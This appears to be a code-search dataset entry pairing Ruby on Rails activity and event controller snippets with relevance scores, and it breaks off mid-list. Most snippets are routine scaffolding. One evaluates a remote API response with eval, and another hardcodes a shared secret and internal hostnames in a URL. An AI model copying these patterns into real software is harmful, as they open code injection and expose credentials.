"def publish_xml(activity_xml)\n logger.info(\"Publishing activities for #{self.name}\")\n publisher_path = \"#{self.uri}/activity.xml\"\n post(publisher_path, activity_xml)\n end",
"def new\n @evactivity = Evactivity.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @evactivity }\n end\n end",
"def activity\n @root.xpath('Events/Event').map do |act|\n Activity.new(act)\n end\n end",
"def create\n authorize Eventunscraped\n @eventunscraped = Eventunscraped.new(eventunscraped_params)\n @eventunscraped.user = current_user\n\n respond_to do |format|\n if @eventunscraped.save\n @eventunscraped.create_activity :create, owner: current_user\n format.html { redirect_to @eventunscraped, notice: 'Eventunscraped was successfully created.' }\n format.json { render :show, status: :created, location: @eventunscraped }\n else\n format.html { render :new }\n format.json { render json: @eventunscraped.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_activity\n player = Player.find_or_create_by(email:req_params[:email])\n project = Project.find_by(name:req_params[:project])\n event = req_params[:event]\n count = req_params[:count]\n @activity = Activity.get_activity_type(player,event,project,count)\n\n end",
"def activities\n get_call(\"1/activities.json\")\n end",
"def create\n data = reload(get_series('activities'), str(Date.strptime(params[:activity].values.join(\"-\"))))\n saved = false\n get_series('activities').each do |s|\n puts \"Updating series=#{s}\"\n data[s].each do |day|\n @activity = for_date(day['dateTime'])\n @activity.send(s.partition('/')[2] + '=', day['value'])\n saved = @activity.save\n if not saved\n flash[:error] = @activity.errors\n end\n end\n end\n\n respond_to do |format|\n flash[:success] = 'Activity was successfully created.'\n format.html { redirect_to @activity }\n format.json { render json: @activity, status: :created, location: @activity }\n end\n end",
"def create\n @activity_event = ActivityEvent.new(params[:activity_event])\n\n respond_to do |format|\n if @activity_event.save\n format.html { redirect_to @activity_event, notice: 'Activity event was successfully created.' }\n format.json { render json: @activity_event, status: :created, location: @activity_event }\n else\n format.html { render action: \"new\" }\n format.json { render json: @activity_event.errors, status: :unprocessable_entity }\n end\n end\n end",
"def republish\n json = JSON.parse(request.body.read)\n begin\n @external_activity = ActivityRuntimeAPI.republish(json)\n head :created, :location => @external_activity\n rescue StandardError => e\n json_error(e)\n end\n end",
"def test_should_create_invite_via_API_XML\r\n get \"/logout\"\r\n post \"/invites.xml\", :api_key=>'testapikey',\r\n :invite => {:message => 'API Invite 1',\r\n :accepted => false,\r\n :email => 'test@email.com',\r\n :user_id => 1 }\r\n assert_response :created\r\n end",
"def postActivity_stream( entity_id, entity_name, type, country, longitude, latitude)\n params = Hash.new\n params['entity_id'] = entity_id\n params['entity_name'] = entity_name\n params['type'] = type\n params['country'] = country\n params['longitude'] = longitude\n params['latitude'] = latitude\n return doCurl(\"post\",\"/activity_stream\",params)\n end",
"def create\n @attend_event = AttendEvent.new(attend_event_params)\n @attend_event.user_id = current_user.id\n @attend_event.event_id = params[:event_id]\n @attend_event.seen = false\n\n respond_to do |format|\n if @attend_event.save\n format.html { redirect_to events_url, notice: 'Your request has been recorded.' }\n else\n format.html { render :new }\n format.json { render json: @attend_event.errors, status: :unprocessable_entity }\n end\n end\n end",
"def activities=(value)\n @activities = value\n end",
"def create\n # byebug\n @activity = Activity.new(activity_params)\n\n respond_to do |format|\n if @activity.save\n format.html { redirect_to root_path, notice: 'Activity was successfully created.' }\n format.json { render :show, status: :created, location: @activity }\n else\n format.html { render :new }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @evactivity = Evactivity.find(params[:id])\n\n respond_to do |format|\n if @evactivity.update_attributes(params[:evactivity])\n flash[:notice] = 'Evactivity was successfully updated.'\n format.html { redirect_to(@evactivity) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @evactivity.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @activity = Activity.create activity_params\n status = @activity.new_record? ? 400 : 201\n if @activity.recurrence\n render json: @activity.activity_factory.activities.as_json, status:status\n else\n respond_with @activity, status:status\n end\n end",
"def create\n @activity = Activity.new(params[:activity])\n respond_to do |format|\n if @activity.save\n flash[:notice] = 'activity was successfully saved'\n format.html { redirect_to activities_url }\n format.xml do\n headers[\"Location\"] = activity_url(@activity)\n render :nothing => true, :status => \"201 Created\"\n end\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @article.errors.to_xml }\n end\n end\n end",
"def activity_params\n params.require(:activity).permit(:description, :is_done, :observations, :activity_type, :deadline)\n end",
"def create\n @activity = Activity.new(params[:activity])\n\n respond_to do |format|\n if @activity.save\n format.html { redirect_to(@activity, :notice => 'Activity was successfully created.') }\n format.xml { render :xml => @activity, :status => :created, :location => @activity }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @activity.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @activity = Activity.new(params[:activity])\n @attcategories = Attcategory.all\n \n @activity.duration = params[:activity_hours].to_i * 60\n @activity.duration += params[:activity_minutes].to_i\n \n @activity.user = current_user\n\n respond_to do |format|\n if @activity.save\n flash[:notice] = 'Activity was successfully created.'\n format.html { redirect_to :action => :change_actattributes, :id => @activity }\n format.xml { render :xml => @activity, :status => :created, :location => @activity }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @activity.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @app = App.find(params[:app_id])\n @activity = @app.activities.build(params[:activity])\n @activity.state = Activity::STATE_DEVELOPMENT\n\n respond_to do |format|\n if @activity.save\n flash[:notice] = 'Activity was successfully created.'\n format.html do\n if request.xhr?\n render :partial => 'shared/activity_row', :collection => @app.activities, :as => 'activity'\n else\n redirect_to app_activity_path(@app, @activity)\n end\n end\n format.xml { render :xml => @activity, :status => :created, :location => @activity }\n else\n format.html do\n @base_versions = ['1_1_0']\n \n if request.xhr?\n render :partial => 'new', :locals => {:activity => @activity, :app => @app}, :status => :unprocessable_entity\n else\n render :action => \"new\"\n end\n end\n format.xml { render :xml => @activity.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def activity_params\n params.require(:activity).permit(:name, :user_id, :location, :time, :nrofpeopleinvited, :description)\n end",
"def create\n @activity = Activity.new(params[:activity])\n\n respond_to do |format|\n if @activity.save\n flash[:notice] = I18n.t('activities.controller.Successfully_created')\n format.html { redirect_to(@activity) }\n format.xml { render :xml => @activity, :status => :created, :location => @activity }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @activity.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def activity_params\n params.require(:activity).permit(:name, :description, :location, :start, :end, :deadline, :reminder_at, :subgroup_division_enabled, :no_response_action)\n end",
"def create\n ap = activity_params\n if !ap[:points].nil?\n doc = Nokogiri::XML(ap[:points].read)\n parse_gpx(doc,ap)\n end\n @activity = Activity.new(ap)\n @activity.owner_id = current_user.id\n\n respond_to do |format|\n if @activity.save\n format.html { redirect_to @activity, notice: 'Activity was successfully created.' }\n format.json { render :show, status: :created, location: @activity }\n else\n format.html { render :new }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_activity(**args)\n params = parameters(args) do\n required_params :subject, :type\n optional_params :subject, :type, :done, :due_date, :due_time, :duration, :user_id, :deal_id, :person_id, :participants, :org_id, :note\n end\n request(:post, 'activities', params)\n end",
"def activities_xml(time = nil, filter = nil)\n timestamp = time ? time.to_gnip_bucket_id : 'current'\n if filter\n _name, _endpoint = filter.name, \"#{self.uri}/#{filter.path}/activity/#{timestamp}.xml\"\n else\n _name, _endpoint = self.name, \"#{self.uri}/activity/#{timestamp}.xml\"\n end\n log_action(_name, time, timestamp)\n response, activities_xml = fetch(_endpoint)\n end",
"def add_activity(data)\n add_child('activity', data)\n end",
"def create\n Activity.for_user(current_user).active.each do |a|\n a.end = Time.now\n a.save\n end\n\n @activity = Activity.new(params.permit(:description))\n @activity.user = current_user\n @activity.start = Time.now\n @activity.save!\n\n render json: @activity\n end",
"def create\n @dev_activity = current_user.dev_activities.create(dev_activity_params)\n\n respond_to do |format|\n if @dev_activity.save\n format.html { redirect_to user_dev_activities_path(current_user), notice: 'The Development Activity was successfully created.' }\n format.json { render action: 'show', status: :created, location: @dev_activity }\n else\n format.html { render action: 'new' }\n format.json { render json: @dev_activity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n activity_params = params.require(:activity).permit(:title, :body,\n tags_attributes:\n [:category_id])\n @activity = Activity.create(activity_params)\n current_user.activities << @activity\n respond_to do |format|\n format.html\n format.json { render json: @activity }\n end\n end",
"def add_activity(activity)\n act = activity.as_json\n write_feed.add_activity(act)\n end",
"def destroy\n @evactivity = Evactivity.find(params[:id])\n @evactivity.destroy\n\n respond_to do |format|\n format.html { redirect_to(evactivities_url) }\n format.xml { head :ok }\n end\n end",
"def activity(id)\n get(\"/activities/#{id}.json\")\n end",
"def activity(id)\n get(\"/activities/#{id}.json\")\n end",
"def activity(params={})\n Endpoints::Activity.new(self).get(params)\n end",
"def activities\n @activities = if @project\n @project.activities\n else\n User.current.projects.all(:include => :time_entry_activities).map(&:time_entry_activities).flatten + TimeEntryActivity.shared.active\n end\n\n respond_to do |format|\n format.xml\n end\n end",
"def activity\n end",
"def update\n\n @title = Title.find(activity_params[:title_id])\n @event = Event.find(@title[:event_id])\n @activity = Activity.new(activity_params)\n @title.activities << @activity\n \n respond_to do |format|\n if @activity.update(activity_params)\n format.html { redirect_to \"/events/#{@event.id}\", notice: 'Activity was successfully updated.' }\n format.json { render :show, status: :ok, location: @activity }\n else\n format.html { render :edit }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def event_params\n params.require(:event).permit(:time, :location, :title, :description, :creator_id, invites: [])\n end",
"def user_activity\n device_id = request.headers['device_id']\n string = request.body.read\n activity = ActiveSupport::JSON.decode(string)\n a_ids = []\n if !activity.empty?\n begin\n activity.each do |a|\n if a['user_id'].nil?\n a['device_id'] = device_id\n end\n id = a['event_id']\n a.delete('event_id')\n logger.info\"=====#{a}\"\n UserActivity.create(a)\n a_ids << id\n end\n rescue Exception => e\n logger.info \"===Exception in creating usage #{e}\"\n # @error = \"#{e.message} for #{e.try(:record).try(:class).try(:name)}\"\n end\n respond_to do |format|\n format.json { render json: a_ids }\n end\n end\n\nend",
"def activity_params\n params.require(:activity).permit(:exercise_type_id, :exercise_unit_id, :intensity_id, :date, :num_units)\n end",
"def activities_params\n params.require(:activity).permit(:action, :trackable)\n end",
"def create\n @today_activity = TodayActivity.new(params[:today_activity])\n\n respond_to do |format|\n if @today_activity.save\n flash[:notice] = 'TodayActivity was successfully created.'\n format.html { redirect_to(@today_activity) }\n format.xml { render :xml => @today_activity, :status => :created, :location => @today_activity }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @today_activity.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n authorize Activity\n @activity = Activity.new(params[:activity])\n @activity.user = current_visitor\n\n if params[:update_material_properties]\n # set the material_properties tags\n @activity.material_property_list = (params[:material_properties] || [])\n end\n\n if params[:update_cohorts]\n # set the cohorts\n @activity.set_cohorts_by_id(params[:cohort_ids] || [])\n end\n\n if params[:update_grade_levels]\n # set the grade_level tags\n @activity.grade_level_list = (params[:grade_levels] || [])\n end\n\n if params[:update_subject_areas]\n # set the subject_area tags\n @activity.subject_area_list = (params[:subject_areas] || [])\n end\n\n respond_to do |format|\n if @activity.save\n format.js # render the js file\n flash[:notice] = 'Activity was successfully created.'\n format.html { redirect_to(@activity) }\n format.xml { render :xml => @activity, :status => :created, :location => @activity }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @activity.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @ev = Ev.new(ev_params)\n\n respond_to do |format|\n if @ev.save\n format.html { redirect_to @ev, notice: 'Ev was successfully created.' }\n format.json { render :show, status: :created, location: @ev }\n else\n format.html { render :new }\n format.json { render json: @ev.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @activity = PublicActivity::Activity.new(activity_params)\n\n respond_to do |format|\n if @activity.save\n format.html { redirect_to @activity, notice: 'Activity was successfully created.' }\n format.json { render :show, status: :created, location: @activity }\n else\n format.html { render :new }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def activity_params\n params.require(:activity).permit(:title, :started_at, :stopped_at, :applied_at, :number_limit, :pay_type, :province, :city, :district, :location, :approval, :condition)\n end",
"def create\n @activity = Activity.new(activity_params)\n\n respond_to do |format|\n if @activity.save\n format.html { redirect_to @activity, notice: 'Activity was successfully created.' }\n format.json { render :show, status: :created, location: @activity }\n else\n format.html { render :new }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_activities!\n _, _, host, = URI.split url\n PublicActivity::Activity.where(trackable: self).update_all(\n parameters: {\n namespace_id: namespace.id,\n namespace_name: namespace.clean_name,\n webhook_url: url,\n webhook_host: host\n }\n )\n end",
"def activities(params = {})\n scope 'default'\n get('activities/', params)\n end",
"def create\n @activity = current_user.activities.new(activity_params)\n @activity.supplier_id = current_user.id\n #@activity.status = Activity::SETTING if @activity.activity_type.is_show?\n\n respond_to do |format|\n if @activity.save\n format.html { redirect_to edit_activity_path(@activity), notice: 'Activity was successfully created.' }\n format.json { render action: 'edit', status: :created, location: @activity }\n else\n format.html { render action: 'new' }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @activity = Activity.new(params[:activity])\n\t\tauthorize! :create, @activity\n\n respond_to do |format|\n if @activity.save\n flash[:notice] = 'Activity was successfully created.'\n format.html { redirect_to(activities_url) }\n format.xml { render :xml => @activity, :status => :created, :location => @activity }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @activity.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @activity = Activity.new(params[:activity])\n respond_to do |format|\n if @activity.save\n @activity.update_attribute(:enabled,params[:activity][:enabled])\n flash[:notice] = 'Activity was successfully created.'\n format.html { redirect_to([:manage, @activity]) }\n format.xml { render :xml => @activity, :status => :created, :location => @activity }\n else\n format.html { render :activity => \"new\" }\n format.xml { render :xml => @activity.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def tracker_activities\n resp = @conn.get(\"projects/#{@project}/activity?limit=1000&occurred_after=#{(Time.now - 14*60*60*24).iso8601}\")\n @tracker_activities = JSON.parse(resp.body, symbolize_names: true)\n next_ind = next_page(resp)\n while next_ind.positive? do\n resp = @conn.get(\"projects/#{@project}/activity?limit=1000&offset=#{next_ind}&occurred_after=#{(Time.now - 14*60*60*24).iso8601}\")\n @tracker_activities += JSON.parse(resp.body, symbolize_names: true)\n next_ind = next_page(resp)\n end\n end",
"def agent_activity\n # activity_build.event()\n end",
"def create\n @activity = Activity.new(params[:activity])\n\n respond_to do |format|\n if @activity.save\n flash[:success] = 'Activity was successfully created.'\n format.html { redirect_to activities_path }\n format.json { render json: @activity, status: :created, location: @activity }\n else\n format.html { render action: \"new\" }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def attend(event, status)\n post(:session, {:method => \"event.attend\", :event => event, :status => status})\n end",
"def create\n \tRails.logger.info params\n @activity = Activity.new(params[:activity])\n @activity.user = current_user\n\n if params.has_key?('hidden-activity') and params['hidden-activity'].has_key?('tag_list')\n \t@activity.tag_list = params['hidden-activity'][:tag_list]\n end\n\n respond_to do |format|\n if @activity.save\n format.html { redirect_to @activity, notice: 'Activity was successfully created.' }\n format.json { render json: @activity, status: :created, location: @activity }\n else\n # Delete images post invalidation\n @activity.activity_images.map(&:destroy)\n @activity.activity_images = []\n ActivitiesController::MAX_IMAGES.times { @activity.activity_images.build }\n\n format.html { render action: \"new\" }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def activity_params\n params[:activity]\n end",
"def create\n @activity = Activity.new(activity_params)\n\n respond_to do |format|\n if @activity.save\n format.html { redirect_to @activity, notice: 'Activity was successfully created.' }\n format.json { render :show, status: :created, location: @activity }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @spot_activity = SpotActivity.new(params[:spot_activity])\n\n respond_to do |format|\n if @spot_activity.save\n format.html { redirect_to(@spot_activity, :notice => 'SpotActivity was successfully created.') }\n format.xml { render :xml => @spot_activity, :status => :created, :location => @spot_activity }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @spot_activity.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @activity = current_user.activities.new(activity_params)\n @activity.name = params[:name]\n @activity.date = Date.civil(params[:date][:year].to_i, params[:date][:month].to_i, params[:date][:day].to_i)\n @activity.duration = params[:activity][:hour] + ':' + params[:activity][:minute] + ':' + params[:activity][:second]\n \n respond_to do |format|\n if @activity.save\n format.html { redirect_to @activity, notice: 'Activity was successfully created.' }\n format.json { render :show, status: :created, location: @activity }\n else\n format.html { render :new }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @status_activity = StatusActivity.new(status_activity_params)\n\n respond_to do |format|\n if @status_activity.save\n format.html { redirect_to @status_activity, notice: 'Status activity was successfully created.' }\n format.json { render :show, status: :created, location: @status_activity }\n else\n format.html { render :new }\n format.json { render json: @status_activity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @activity = CareerPlanOutcome.where(\"activity = 4 \").first\n\n @work_site_planner = WorkSitePlanner.new(work_site_planner_params)\n @work_site_planner.career_plan_outcome_id = @activity.id\n @work_site_planner.job_seeker_id = current_client.id\n @event = Event.new\n @event.title = @activity.activity\n @event.start = Date.today\n @event.end = Date.today\n @event.resource_id = 1\n @event.job_seeker_id = current_client.id\n @event.save\n respond_to do |format|\n if @work_site_planner.save\n format.html { redirect_to @work_site_planner, notice: 'Work Experience Activity was successfully created.' }\n format.json { render :show, status: :created, location: @work_site_planner }\n else\n format.html { render :new }\n format.json { render json: @work_site_planner.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @activity = Activity.new(params[:activity])\n\n respond_to do |format|\n if @activity.save\n format.html { redirect_to @activity, notice: 'Activity was successfully created.' }\n format.json { render json: @activity, status: :created, location: @activity }\n else\n format.html { render action: \"new\" }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def activity_params\n params.require(:activity).permit(:reference, :name, :user_id, :start_time, :end_time, :sport, :owner, :entry, :is_proxy)\n end",
"def activities\n add_to_query restrict_kind: 'activity'\n end",
"def activity_params\n params.require(:activity).permit(:tag_list, :id, :name, :start_date, :end_date, :venue, :description, :speaker, :speakerbio, :biolink, :keytakeaway, :prerequisite, :maxattendee, :tags, :resources, :speaker_img, :activity_img)\n end",
"def activity_params\n params.require(:activity).permit(:type_activity, :description, :work_hours, :extra, :sheetfile_id, :project_id)\n end",
"def create_activity(task)\n @event_signup.create_activity task, owner: @user, unit_id: @event_signup.unit.id, parameters: { event_id: @event.id, user_id: @event_signup.user.id, created_at: Time.now }\n end",
"def create\n @activity = Activity.new(activity_params)\n\n respond_to do |format|\n if @activity.save\n format.html { redirect_to @activity, notice: 'Activity was successfully created.' }\n format.json { render action: 'show', status: :created, location: @activity }\n else\n format.html { render action: 'new' }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @activity = Activity.new(activity_params)\n\n respond_to do |format|\n if @activity.save\n format.html { redirect_to @activity, notice: 'Activity was successfully created.' }\n format.json { render action: 'show', status: :created, location: @activity }\n else\n format.html { render action: 'new' }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @activity = Activity.new(activity_params)\n\n respond_to do |format|\n if @activity.save\n format.html { redirect_to @activity, notice: 'Activity was successfully created.' }\n format.json { render action: 'show', status: :created, location: @activity }\n else\n format.html { render action: 'new' }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @activity = Activity.new(params[:activity])\n @activity[:user_id] = current_user.id\n\n respond_to do |format|\n if @activity.save\n format.html { redirect_to activities_path, notice: 'Activity was successfully created.' }\n format.json { render json: @activity, status: :created, location: @activity }\n else\n format.html { render action: \"new\" }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def post_outcome_request\n raise IMS::LTI::InvalidLTIConfigError, \"\" unless has_required_attributes?\n\n res = post_service_request(@lis_outcome_service_url,\n 'application/xml',\n generate_request_xml)\n\n @outcome_response = extend_outcome_response(OutcomeResponse.new)\n @outcome_response.process_post_response(res)\n end",
"def activity_params\n params.require(:activity).permit(:description, :status, :case_id, {attachments: []})\n end",
"def publish(activity_list)\n publish_xml(Gnip::Activity.list_to_xml(activity_list))\n end",
"def create\n @activity_application = @meetup_event.activity_applications.new(activity_application_params_for_create)\n\n respond_to do |format|\n if @activity_application.save\n format.html {redirect_to [@meetup_event, @activity_application], notice: 'Activity application was successfully created.'}\n format.json {render :show, status: :created, location: meetup_event_activity_application_path(@meetup_event, @activity_application)}\n else\n format.html {render :new}\n format.json {render json: @activity_application.errors, status: :unprocessable_entity}\n end\n end\n end",
"def create\n @activity_inventory = ActivityInventory.new(params[:activity_inventory])\n\n respond_to do |format|\n if @activity_inventory.save\n flash[:notice] = 'ActivityInventory was successfully created.'\n format.html { redirect_to(@activity_inventory) }\n format.xml { render :xml => @activity_inventory, :status => :created, :location => @activity_inventory }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @activity_inventory.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def activities(options={})\n response = connection.get do |req|\n req.url \"activities\", options\n end\n return_error_or_body(response)\n end",
"def create\n @activity = Activity.new\n\n @activity.name = params[:name]\n @activity.duration = params[:duration]\n @activity.house_id = params[:selected_house]\n @activity.cost = params[:cost]\n @activity.description = params[:description]\n @activity.expiration = Date.civil(params[:date_expiration][:\"expiration(1i)\"].to_i,params[:date_expiration][:\"expiration(2i)\"].to_i,params[:date_expiration][:\"expiration(3i)\"].to_i)\n\n @activity.user_id = current_user.id\n @activity.done = 0\n\n\n respond_to do |format|\n if @activity.save\n flash[:notice] = 'Attività creata correttamente'\n format.html { redirect_to(@activity) }\n format.xml { render :xml => @activity, :status => :created, :location => @activity }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @activity.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def show\n @evactivity = Evactivity.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @evactivity }\n end\n end",
"def activity_params\n params.fetch(:activity, {}).permit(\n :name,\n :start,\n :duration,\n :activity_type_id\n )\n end",
"def create\n @activity = Activity.new(activity_params)\n @activity.user = current_user\n\n respond_to do |format|\n if @activity.save\n format.html { redirect_to activities_path, notice: 'Activity was successfully created.' }\n format.json { render :show, status: :created, location: @activity }\n else\n format.html { render :new }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @activity_event = ActivityEvent.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @activity_event }\n end\n end",
"def create\n @activity = Activity.new(activity_params)\n\n respond_to do |format|\n if @activity.save\n format.html { redirect_to [@course, @learning_unit, @activity], notice: 'Activity was successfully created.' }\n format.json { render :show, status: :created, location: @activity }\n else\n format.html { render :new }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def posttestrail(runId, caseId, statusId, versionId, elapsedseconds)\r\n\r\n uri = \"http://testrailgw.jupiter.bbc.co.uk/?action=add_result_for_case&run_id=#{runId}&case_id=#{caseId}&status_id=#{statusId}&version=#{versionId}&elapsed_seconds=#{elapsedseconds}&sharedSecret=thI5iSourSHAREDsecret\"\r\n #uri = \"http://testrailgw.jupiter.bbc.co.uk/?action=add_result_for_case&run_id=110324&case_id=665022&status_id=1&version=Test&elapsed_seconds=12&sharedSecret=thI5iSourSHAREDsecret\"\r\n\r\n uri = uri.gsub(\" \", \"%20\")\r\n xml_data = open(uri).read\r\n if(xml_data.include? '\"test_id\":')\r\n recorded = xml_data.split('\"test_id\":')[1]\r\n testID = recorded.split(',\"status_id\"')[0]\r\n puts \"TestID:\"+testID\r\n else\r\n puts xml_data\r\n fail \"Cannot Post result to Testrail, check Webservice\"\r\n end\r\n\r\n timeStamp = Time.now.strftime (\"posted at %H:%M %d/%m/%Y\")\r\n files = \"//zgbwcfs3005.jupiter.bbc.co.uk/QA/Jenkins/Jupiter/ICETEAresultupdatelog.txt\"\r\n f = File.open(files,'a')\r\n f.write \"#{testID} #{timeStamp}\"\r\n f.close\r\nend",
"def activity_params\n params[:activity]\n end",
"def create\n @type_activity = TypeActivity.new(type_activity_params)\n\n respond_to do |format|\n if @type_activity.save\n format.html { redirect_to @type_activity, notice: 'Type activity was successfully created.' }\n format.json { render :show, status: :created, location: @type_activity }\n else\n format.html { render :new }\n format.json { render json: @type_activity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index(user)\n activities = []\n json = eval(RestClient.get(ENDPOINT + \"/activities?user_id=#{user}\").to_s)\n json.each do |attributes|\n activities << Activity.new(attributes)\n end\n activities\n end",
"def activity_params\n params.require(:activity).permit(:amount, :activity_date, :reciever_name)\n end",
"def activity_params\n params.require(:activity).permit(:project_id, :task_id, :subtask_id, :user_id, :start, :ended, :duration, :description, :week, :year, :chargeable, :charged, :charged_date, :charged_code)\n end",
"def activities(options)\n activities_request build_url_parameters(options).merge(detailed: true)\n end",
"def kind\n :activity\n end",
"def create\n\t\t@activities = params[:guest][:activity_ids]\n assignment = Assignment.new(params[:guest_id], params[:activity_id])\n\n @activities.each do |a|\n if a != \"\"\n @assignment = Assignment.create(:guest_id => params[:assignments][:guest_id], :activity_id => a)\n # assigned_activity = Assignment.create(:guest_id => params[:guest_id], :activity_id => params[:activity_id])\n end\n end\n\n if @assignment.save\n flash[:notice] = \"Activity assigned.\"\n redirect_to guests_path\n else \n @message = \"Activity not assigned.\"\n end\n\n # redirect_to guests_path\n end",
"def send_message(message)\n message = JSON.parse(message)\n params = {email:message[\"email\"],project:message[\"project\"],event:message[\"event\"],count:message[\"count\"]}\n @connection.get '/activities', params\n end"
] |
[
"0.6255689",
"0.6192436",
"0.583568",
"0.57947034",
"0.57549554",
"0.57491106",
"0.5717292",
"0.5702986",
"0.5659169",
"0.5613048",
"0.5596198",
"0.5586512",
"0.5584101",
"0.55823994",
"0.557413",
"0.5558271",
"0.5523054",
"0.55002034",
"0.549403",
"0.5492629",
"0.5470556",
"0.544976",
"0.54495895",
"0.54406714",
"0.54320145",
"0.54285854",
"0.5415555",
"0.5397585",
"0.5396776",
"0.53959626",
"0.53840846",
"0.53765255",
"0.5327526",
"0.53112864",
"0.5309018",
"0.52930206",
"0.52929664",
"0.52929664",
"0.52921075",
"0.5292102",
"0.5284052",
"0.527023",
"0.5268258",
"0.5267515",
"0.5264671",
"0.5263856",
"0.526366",
"0.52597094",
"0.5250132",
"0.5243373",
"0.5226751",
"0.5220515",
"0.52173245",
"0.5215619",
"0.5214212",
"0.5213387",
"0.5208045",
"0.5207916",
"0.5202313",
"0.5197275",
"0.51916707",
"0.51906466",
"0.51898646",
"0.5185381",
"0.51850486",
"0.51802295",
"0.5167969",
"0.5165367",
"0.51484036",
"0.5132897",
"0.51327145",
"0.51293886",
"0.51270306",
"0.512269",
"0.511865",
"0.511865",
"0.5118221",
"0.51082605",
"0.5102227",
"0.5101441",
"0.5094359",
"0.50938576",
"0.50936",
"0.5093279",
"0.50907147",
"0.5086239",
"0.50791466",
"0.5073819",
"0.5064917",
"0.5063295",
"0.50610316",
"0.50555366",
"0.50533545",
"0.50459737",
"0.50429714",
"0.50420445",
"0.5033547",
"0.5033148",
"0.50289494",
"0.5021475"
] |
0.67209995
|
0
|
PUT /evactivities/1 PUT /evactivities/1.xml
|
def update
@evactivity = Evactivity.find(params[:id])
respond_to do |format|
if @evactivity.update_attributes(params[:evactivity])
flash[:notice] = 'Evactivity was successfully updated.'
format.html { redirect_to(@evactivity) }
format.xml { head :ok }
else
format.html { render :action => "edit" }
format.xml { render :xml => @evactivity.errors, :status => :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update\n\n @title = Title.find(activity_params[:title_id])\n @event = Event.find(@title[:event_id])\n @activity = Activity.new(activity_params)\n @title.activities << @activity\n \n respond_to do |format|\n if @activity.update(activity_params)\n format.html { redirect_to \"/events/#{@event.id}\", notice: 'Activity was successfully updated.' }\n format.json { render :show, status: :ok, location: @activity }\n else\n format.html { render :edit }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @activity = Activity.find(params[:id])\n \n respond_to do |format|\n if @activity.update_attributes(params[:activity])\n format.html { redirect_to activities_path }\n format.xml { render :nothing => true }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @activity.errors.to_xml }\n end\n end\n end",
"def update\n respond_to do |format|\n if @activity.update(activity_params)\n format.html { redirect_to activities_path, notice: 'Exercise event was successfully updated.' }\n format.json { render :show, status: :ok, location: @activity }\n else\n format.html { render :edit }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @activity_event = ActivityEvent.find(params[:id])\n\n respond_to do |format|\n if @activity_event.update_attributes(params[:activity_event])\n format.html { redirect_to @activity_event, notice: 'Activity event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @activity_event.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @activity = Activity.find(params[:id])\n\n respond_to do |format|\n if @activity.update_attributes(params[:activity])\n flash[:notice] = 'Activity was successfully updated.'\n format.html { redirect_to(@activity) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n end\n end\n end",
